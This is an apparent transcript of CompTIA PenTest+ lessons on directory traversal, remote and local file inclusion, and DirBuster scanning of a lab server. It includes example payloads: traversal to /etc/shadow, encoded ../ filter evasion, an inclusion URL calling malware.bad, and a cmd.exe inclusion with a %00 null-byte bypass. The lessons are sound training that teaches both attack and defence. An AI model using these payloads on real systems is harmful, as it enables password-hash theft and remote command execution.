CompTIA Pentest+ PT0-002 – Section 12: Application Attacks Part 1

111. Application Attacks (OBJ 3.3)

In this section of the course, we’re going to discuss the different types of application attacks that we can use against web applications to wreck havoc on a target organization’s network. As we move into this section, we’re going to continue looking at various attacks and exploits that we can use during the third stage of our engagement. As we move through this section, we’re going to be focused on the second half of objective 3.3. This objective states that given a scenario, you must research attack vectors and perform application-based attacks. Now, as we move through this section of the course, we’re going to discuss many of the vulnerabilities listed by the OWASP Top 10, and other common application vulnerabilities, but we’re going to be more focused on how attackers or in this case, penetration testers can conduct these attacks. I’m also going to spend some time doing different demonstrations in my lab environment so that you can see these different attacks in action.

Now, as we discuss each of these vulnerabilities and exploits, often I’m going to discuss them from the perspective of the network owner and the software developer by pointing out what you can do to help prevent these attacks from occurring. For the exam, it’s important to know not just the different types of attacks that can be used against a target but also, how a network defender might see or try to prevent these attacks, which is why I’m going to focus on both the blue team and red team perspective during our coverage in this section. Now, keep in mind, any time I use the word attacker in these lessons, remember that I’m talking about a person who could be a malicious attacker or a penetration tester like you because a penetration tester is considered an attacker from the blue team’s perspective.

So in this section, we’re first going to discuss directory traversals, and how to conduct them as an attacker. We’re also going to talk about how identify them as a defender and how to use Dirbuster to find hidden files and directories during your engagements. Next, we’re going to dive into cross-site scripting and cross-site request forgery attacks and their different types and use cases. After that, we’re going to discuss SQL injections and I’m going to demonstrate how you can use automated tools during your engagement to conduct an SQL injection against a given target. We’re also going to use web interception proxies, like Burp Suite, and OWASP ZAP so you can learn how we can leverage these tools during our attacks and exploits against different web applications. Then we’re going to move into other types of injection attacks, including XML injections, command injections and LDAP injections. Finally, we’re going to put a bunch of these vulnerabilities and attacks together as I provide you with a demonstration of how you can attack web applications using Kali Linux and its associated tools. All right, it’s time for us to continue our coverage of domain three, attacks and exploit with application attacks in this section of the course.

112. Directory Traversals (OBJ 3.3)

In this lesson we’re going to discuss directory traversal attacks and the vulnerabilities associated with them. Now a directory traversal attack is technically a type of injection attack and it’s used to gain access to files, directories or commands that may or may not be connected to the web document root directory. If you’re running a web server, it’s going to be running on top of some kind of operating system like Windows or Linux. And in the storage volume for that server, there’s going to be a folder that’s called the web document root directory, and it contains all the files that are going to contain your website. For example, if you go over to Diontraining.com it has to access our HTML, PHP, and image files in our web document root directory to be able to display that website to you. This web document root directory is not the same as the root directory on your hard drive though. This web document root directory is actually a sub directory someplace underneath the root directory. For example, on many Linux systems the web document root directory is located at /var/www. In a directory traversal, the attacker is going to try to navigate upwards and out of that web document root directory in order to gain access to other sensitive parts of your operating system.

For example, if I was attacking a Linux system and found that the web document root directory for Dion Training was located at /var/www, I could try to go to Diontraining.com/../../etc/shadow to access your shadow file that contains the hashes of your system’s passwords. Notice the shadow file is located at the /etc/shadow directory and not inside the web document root directory. So I need to use the ../ inside of the address to navigate upwards through the hard drive’s folders. This is a directory traversal and as I navigate up and down the directory structure, I try to gain access to the files, folders, or commands that I want to use. To help understand this a little bit more, let me show you what this looks like graphically. Let’s assume on this Linux server that the web document root directory is located in the /home/programs/www root directory. Now, the root is actually the root of your hard drive. Since this is a Linux server, this is represented simply as a slash. Underneath that root directory, we have two folders shown here. We have the etc directory and the home directory.

Now, if I go into the home directory we’re going to find a folder called programs. And underneath that folder we’re going to see a folder called www root. This www root folder is where all of my webpages and associated files and images are going to be stored on the hard drive. And this makes the www root directory my web document root directory for this server. Let’s assume that this server is hosting Diontraining.com. If somebody attempts to perform a directory traversal by entering Diontraining.com/../../../etc/shadow what do you think is going to happen? Well, if we started with just using the URL diontraining.com, that’s going to take us to our website and our server’s document root directory and that’s going to contain the index.html or index.php file inside the www root directory on this particular server. Now, those pages are going to be represented by the blue icon in the bottom right corner of the screen. But since we use ../ every time we see one of those we’re going to ask the server to navigate up one parent directory from your current folder. So the ../ takes us to the programs directory and the second ../ takes us to the home directory. And the ../ takes us to the root directory or the slash. Now, from here, we can see that we’re going to go down into the /etc directory and then try to grab that shadow file.

This is what a directory traversal is attempting to do. It’s trying to navigate blindly through your directory structure and find sensitive files like your shadow file that they can then look at and get information from. Now, obviously we don’t want this to happen. So we have to find a way to stop directory traversals. Now, the first step in preventing a directory traversal is being able to identify one that’s being a attempted. Luckily, it’s pretty easy to identify when a directory traversal is occurring, because you’re going to see something like a ../ with a forward slash or a ..\ with a backslash being used. If you’re on a Unix or Linux system they’re going to have to use a forward slash, but if you’re on a Windows system, running internet information services or an IIS server you’re going to be using the backslash. These directory traversals are going to operate by trying to access files on the system and hoping that they have the proper permissions to do that. If you configure your servers correctly and securely though the web users should not be able to read anything outside of the web document root directory. This would then prevent the user from being able to read something like your shadow file or password file. But if you have a security misconfiguration then the attacker might be able to simply access and read those files outside of the web root by using a directory traversal attack. Another way to prevent directory traversals from occurring is to use input validation.

Now, if a user’s entering something in a web form you need to prevent them from using something like a ../ or ..\ by sanitizing that input. Now, another thing you should be aware of is that sometimes attackers are going to try to trick your systems by not using the slash or the backslash, and instead they’re going to use the encoded versions of those characters to attempt to bypass your input sanitization filters. So instead of using ../ they might use %2E%2E%2F and that would be the equivalent of using a ../ in the encoded form. So keep that in mind as well. Now, another use of directory traversals is using them as part of a file inclusion attack. Now file inclusion occurs when a web application vulnerability is being exploited, and it allows the attacker to either download a file from an arbitrary location on that host file system, by using a directory traversal or to upload an executable or script file to the server in order to open a back door. Now, there are two types of file inclusions. We have remote file inclusions and local file inclusions. First, we have a remote file inclusion. A remote file inclusion occurs when an attacker tries to execute a script to inject a remote file into the web app or the website. For example, if the website uses a PHP script like diontraining.com/login.php that is normal and acceptable, but if they’re going to add a perimeter to it like ?user= that’s going to dictate which user is trying to log into that system. And this perimeter can be exploited to have a remote file inclusion. For example, I could change the URL from diontraining.com/login.php?user=Jason to thing like diontraining.com/login.php?http://malware.bad/malicious.php. By doing this I’m going to be passing the URL of a malicious script that’s located on a different domain and trying to put that as the username when we try to log in.

So the system could execute this malicious script as a remote file inclusion when processing the user login request and therefore I can gain access to that system. Now, the idea here is that we’re including this remote file malicious.php from this other website inside of my web server, by using this type of an injection. The second type of file inclusion is what’s known as a local file inclusion. Now a local inclusion occurs when an attacker tries to add a file to the web app or the website that already exists on the hosting server. For example, let’s assume my website allows you to upload a picture to your profile for our members community and then save it to our server. Since that picture is now saved on our server you could reference that file using directory references like we used with directory traversals or maybe you want to try and load up a command shell on a Windows IIS server. So you could try to perform a local file inclusion of that command shell by using a directory traversal like diontraining.com/login.php?user =../../Windows/system32 /cmd.exe%00. Now what’s happening here in this URL? Well, since I’m trying to go after a Windows IIS server I’m trying to move two directories up to the C drive of that computer, and then down into the Windows directory and into the system 32 folder. Now, as I’m trying to run that command shell which is command.exe, I’m going to try load it up and if I can execute that, I can now be able to put any text based command to this server and have full remote execution capability.

Now, did you notice at the end, I have %00 at the end of the URL? That %00 is the encoded version of a null character. That null character is being used to request a bypass of the security mechanisms that would normally add a .php to the end of the URL requested. And instead, it’s going to allow us to use that .exe extension that we’re trying to use to run the command shell. All right, we covered a lot of in-depth stuff for directory traversals in this lesson but I want to provide you a quick tip for the exam. Anytime you see something with a ../ I want you to immediately consider a directory traversal as the possible right answer because 99 times out of a 100, that is going to be the right answer. You may also get a question about a local file inclusion that has a ../ in the URL but they’re not going to give you both a directory traversal and a local file inclusion in the same question. So if you see the ../ it’s either going to be a directory traversal or a local file inclusion, and you’d be able to tell the difference based on what is being used in that URL. If you get a question like that and you see a ../ remember directory traversal is most likely going to be your right answer.

113. Using DirBuster (OBJ 3.3)

In this lesson, we’re going to cover DirBuster. DirBuster is a multi-threaded Java application that’s designed to brute force directories and file names on web servers and web application servers. Now, what this tool does is it’s going to go out to a web server and it’s going to try to figure out every single file and folder that’s on that web server, whether or not there’s actually a link to it or not on the homepage. So unlike a standard web crawler where it’ll just follow all of the links on the homepage until it finds everything on the site, with DirBuster, you can even find hidden things. Because things that aren’t linked to aren’t going to show up by default as part of a web crawl. But with DirBuster, they can. Now DirBuster is a great tool. Let’s take a look at how you can use it. If you type in dirbuster.h your command prompt, you’re going to see the different options you have with DirBuster. You can use this in a headless mode which is -H, which means there’s no graphical user interface and your report will be auto saved on exit, so you can run everything from the Linux terminal. But if you want to use a graphical user interface you can simply type in the word dirbuster and it will pop up on your screen, so you can use the graphical interface which is what I’m going to use in this demonstration just to keep things easy for us. When I go ahead and minimize the background we’re just going to see DirBuster on the screen now. Notice we have to give it a target.

Who do we want to go after? Well, in my case, I want to go after my meta splittable machine that’s on my internet. So I’m going to use http://172.16.218.130:80 which says I want to connect to the server located at this IP address over port 80. Then you’re going to choose which work method you want. You can use auto switch between head and GET request or just use GET requests. I’m going to go ahead and leave auto switch on, which is the default. Next, you’ll choose the number of threads, which is how fast you want to go and start pulling things off of this web server. Now, this is always a trade off because if you go really fast, you have the possibility of either being detected or crashing your server. When I’ve tried this on my meta splittable machine before and I tried using 500 threads, I crashed that server in about 60 seconds. So what we’re going to do is we’re going to leave it with standard 10 threads, because that way it’s a nice slow check and you can just walk away and then come back with the results after, and it’s less likely that you’re going to be detected. When you go to do your scanning type, you can either do a list-based brute force attack or a pure brute force attack. Now what’s the difference? Well, DirBuster comes with a set of different lists.

The directory-list-2.3-small is just one of them. If you click on the list info, it will tell you all the details about the different list that come with DirBuster. The one I’m going to be using is directory-list-2.3-small which has about 87,000 words in it. These are directory and file names that were commonly found on at least three different hosts in the past and so they’ve added these to this dictionary for you to be able to do essentially a dictionary attack against this web directory. Now, if you wanted to do pure brute force, it’s going to start with A and then go AA and then go AAA, and you get the idea as it tries to find every single thing that could possibly be out there. If you do use a brute force, you can tell it what character set you want and how long of file names or directory names you want. So to find a directory like wp-content, which is where most of the files inside of a WordPress server I hosted, that’s actually 10 characters. And so we take a long time to find that using a traditional brute force attack. And this is why a list-based attack can be more useful. Now, when you go down here at the bottom, you’ll see all of your different starting points and starting options. For our tests, I’m going to go ahead and leave it with the defaults, and we’re simply going to click start. Now, it’s going to go out and start testing my server.

Remember, I’m only using 10 threads here and you could see that with 10 threads, I’m doing about 70 to 100 requests per second, which is still pretty fast. As it gets that information back, it starts putting that information into the directories and tells me what it’s finding in terms of directories and files. You can see right now, we’re still at 0% as we start testing for all the directories and files across all the tests, we’ve already found 27 directories and 16 files. Now, what I’m going to do is go up here to the results tab just so you could see what this looks like. Now, here in the results tab, you’ll see I found the file of index.php. That’s the homepage. We would expect to find that. And then we found a couple of directories, like cgi-bin, icons, twiki, phpMyAdmin, multidae, dvwa, dav, and others as we go through this list. As we look at these, we can see what files and folders might be there and anything that we think might be useful for us to use as we move forward. There’s also Results Tree here if you go to that tab. On the Results Tree, you’ll see what the directory structure actually looks like for that server, and this is going to continually be updated as it goes through the scans. So right now I can see under the index directory that we have nothing. But if I go under the twiki directory, I have a couple of files here, such as readme, license, TWikiDocumentation and Twikihistory.

Now, as it goes forward and it continues to do these scans, it’ll keep adding more and more information. Now I’m not going to let it sit here and run for an entire day and make you watch this, because there’s really no point in that. But I did want to show you how to use this tool in a very basic way, so you can get an idea of what DirBuster is used for. This is a great tool, it’s provided by OWASP for free, it’s free and open-source, and it runs on any operating system because it uses Java to run this application. When you’re using DirBuster, it is an extremely effective tool at finding hidden files and directories. And that is the main purpose of using this tool. So to see what the final report looks like, I’m going to go ahead and stop my scan and then click on Report. Now from here, we’re going to be able to see the full report as a .txt file. Now, when I generate this report, I’m going to go ahead and save it with the information I want. In my case, I’m going to use the full text report and I need to put it somewhere. So I’m going to go ahead and put it on my desktop to make it easy to find. And then I’m just going to generate the report. There we go. Now we can look at the report and you can see exactly what was found. In terms of the directories found during testing, the ones found with a 200 response, which means it was a good satisfactory connection are listed here.

As we continue to scroll down, we will see any directories found with a 403 response, which is an error or directories with a 302 response, which again is another type of error. Then we find files during testing. We found some with 200 response, which says those were files we could access right now if we wanted to download them. And then we had files with a 302 response. This is the basic report. And it’s the full text that we’re going to get. Now, this report will be a lot longer if I let it finish the entire scan which was going to take about 20 to 24 hours based on the slow speed that I was scanning my meta splittable to server. But hopefully this gives you a good idea of how to use DirBuster and what it looks like.

• Category: Uncategorized